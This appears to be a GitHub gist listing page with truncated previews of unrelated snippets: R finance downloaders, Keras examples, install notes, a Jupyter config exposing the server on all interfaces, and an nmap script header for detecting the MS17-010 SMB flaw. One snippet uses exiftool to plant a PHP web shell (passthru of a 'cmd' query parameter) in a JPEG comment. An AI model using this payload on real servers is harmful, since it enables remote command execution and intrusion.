This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| jupyter notebook --generate-config | |
| /home/ros/.jupyter/jupyter_notebook_config.py | |
| c.NotebookApp.ip = '*' | |
| c.NotebookApp.open_browser = False |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require(data.table) | |
| amino = c("A","R","N","D","C","Q","E","G","H","I","L","K","M","F","P","S","T","W","Y","V") | |
| df_total = data.frame() | |
| for(a in amino){ | |
| for(b in amino){ | |
| for(c in amino){ | |
| for(d in amino){ | |
| for(e in amino){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require(data.table) | |
| yahoo_downloader_env <- new.env() | |
| .get_yahoo_curl = function(symbol) { | |
| curl = RCurl::getCurlHandle( cookiejar = '' ) | |
| html = RCurl::getURL( paste0('https://finance.yahoo.com/quote/',symbol,sep=""), curl = curl ) | |
| crumb = gsub( '^.*crumb":"\\s*|".*', '', html ) | |
| assign( 'crumb', crumb, envir = yahoo_downloader_env ) | |
| assign( 'curl' , curl , envir = yahoo_downloader_env ) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| library(quantmod) | |
| stockData <- new.env() | |
| xsymbols <- c('SPY','IEF','TLT', | |
| 'QAI','MNA','CPI','FTLS','BTAL','CSLS', # Alternative ETFs | |
| 'LQD','CLY','VCSH','EMB','EMAG','VWOB', # Bond/Fixed Income | |
| 'SHY','ZROZ','EDV','HYG','EMHY','HYLB', | |
| 'BWX','ALD','IAGG','MINT','VRIG','BIL', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| local smb = require "smb" | |
| local vulns = require "vulns" | |
| local stdnse = require "stdnse" | |
| local string = require "string" | |
| description = [[ | |
| Attempts to detect if a Microsoft SMBv1 server is vulnerable to a remote code | |
| execution vulnerability (ms17-010). | |
| The script connects to the $IPC tree, executes a transaction on FID 0 and |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import numpy as np | |
| from keras.models import Sequential | |
| from keras.layers import Dense | |
| # dataset | |
| trainX = np.array([1, 2 ,3 ,4 , 5 , 6 , 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]) | |
| trainY = np.array([3, 6, 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57, 60, 63, 66, 69, 72]) | |
| # create a model | |
| model = Sequential() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 1. create anaconda environment with python 3.5 | |
| - conda create -n kerascodai python=3.5 | |
| - activate kerascodai | |
| 2. install tensorflow with GPU support | |
| - pip install --ignore-installed --upgrade https://storage.googleapis.com/tensorflow/windows/gpu/tensorflow_gpu-1.1.0-cp35-cp35m-win_amd64.whl | |
| 3. install theano | |
| - download minGW | |
| https://sourceforge.net/projects/mingw-w64/files/Toolchains%20targetting%20Win64/Personal%20Builds/mingw-builds/5.4.0/threads-posix/seh/x86_64-5.4.0-release-posix-seh-rt_v5-rev0.7z/download |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| keras==1.1.2 | |
| theano==0.8.2 | |
| tensorflow== | |
| numpy==1.12.1 | |
| scipy==0.18.1 | |
| h5py==2.6.0 | |
| scikit-learn==0.18.1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| exiftool.exe -Comment="<?php passthru(\$_GET'cmd'); _halt_compiler();" jnck.jpg |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| update_github <- function() { | |
| pkgs = loadedNamespaces() | |
| print(pkgs) | |
| desc <- lapply(pkgs, packageDescription, lib.loc = NULL) | |
| for (d in desc) { | |
| message("working on ", d$Package) | |
| if (!is.null(d$GithubSHA1)) { | |
| message("Github found") | |
| install_github(repo = d$GithubRepo, username = d$GithubUsername) | |
| } |